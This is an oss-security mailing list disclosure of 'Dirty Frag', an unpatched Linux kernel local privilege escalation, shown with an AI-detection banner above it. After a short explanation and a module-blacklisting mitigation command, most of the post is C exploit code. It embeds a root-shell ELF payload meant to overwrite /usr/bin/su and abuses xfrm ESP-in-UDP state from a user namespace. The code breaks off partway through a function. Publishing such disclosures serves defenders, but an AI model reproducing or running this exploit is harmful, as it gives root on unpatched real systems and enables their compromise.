Pangram verdict · v3.3
We believe that this document is fully human-written
AI likelihood · overall
HumanArticle text · 1,255 words · 10 segments analyzed
Products Openwall GNU/*/Linux server OS Linux Kernel Runtime Guard John the Ripper password cracker Free & Open Source for any platform in the cloud Pro for Linux Pro for macOS Wordlists for password cracking passwdqc policy enforcement Free & Open Source for Unix Pro for Windows (Active Directory) yescrypt KDF & password hashing yespower Proof-of-Work (PoW) crypt_blowfish password hashing phpass ditto in PHP tcb better password shadowing Pluggable Authentication Modules scanlogd port scan detector popa3d tiny POP3 daemon blists web interface to mailing lists msulogin single user mode login php_mt_seed mt_rand() cracker Services Publications Articles Presentations Resources Mailing lists Community wiki Source code repositories (GitHub) File archive & mirrors How to verify digital signatures OVE IDs What's new [<prev] [next>] [thread-next>] [day] [month] [year] [list] Message-ID: <afzgS2SCWNcZU3vU@v4bel> Date: Fri, 8 May 2026 03:56:11 +0900 From: Hyunwoo Kim <imv4bel@...il.com> To: oss-security@...ts.openwall.com Cc: imv4bel@...il.com Subject: Dirty Frag: Universal Linux LPE Hi, This is a report on "Dirty Frag", a universal LPE that allows obtaining root privileges on all major distributions. This vulnerability has a similar impact to the previous Copy Fail. Because the embargo has now been broken, no patches or CVEs exist for these vulnerabilities. After consultation with the linux-distros@...openwall.org maintainers, and at the maintainers' request, I am publicly releasing this Dirty Frag document.
As with the previous Copy Fail vulnerability, Dirty Frag likewise allows immediate root privilege escalation on all major distributions, and it chains two separate vulnerabilities: - https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4 - https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/ Because the responsible disclosure schedule and embargo have been broken, no patches exist for any distribution. Use the following command to remove the modules in which the vulnerabilities occur: ``` sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true" ``` For detailed technical information about the vulnerabilities and the reason the embargo was broken, please check https://dirtyfrag.io. Full exploit code: ```c #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sched.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <linux/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/xfrm.h>
#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif #define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ #define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ #define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ /* * 192-byte minimal x86_64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * * Setting TERM in the new shell's env silences the * "tput: No value for $TERM" / "test: : integer expected" noise * /etc/bash.bashrc and friends emit when TERM is unset. * * Code (from offset 0x78): * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * 6a 00
push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" * 31 f6 xor esi, esi ; rsi = NULL (argv) * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve("/bin/sh",NULL,envp) * "TERM=xterm\0" (offset 0xa5..0xaf) * "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; } static void setup_userns_netns(void) { uid_t
real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); } static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len);
memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); } static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family
= AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0,
sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); } if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } char rbuf[4096]; int n = recv(sk, rbuf, sizeof(rbuf), 0); if (n < 0) { close(sk); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; } static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr("127.0.0.1") }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP,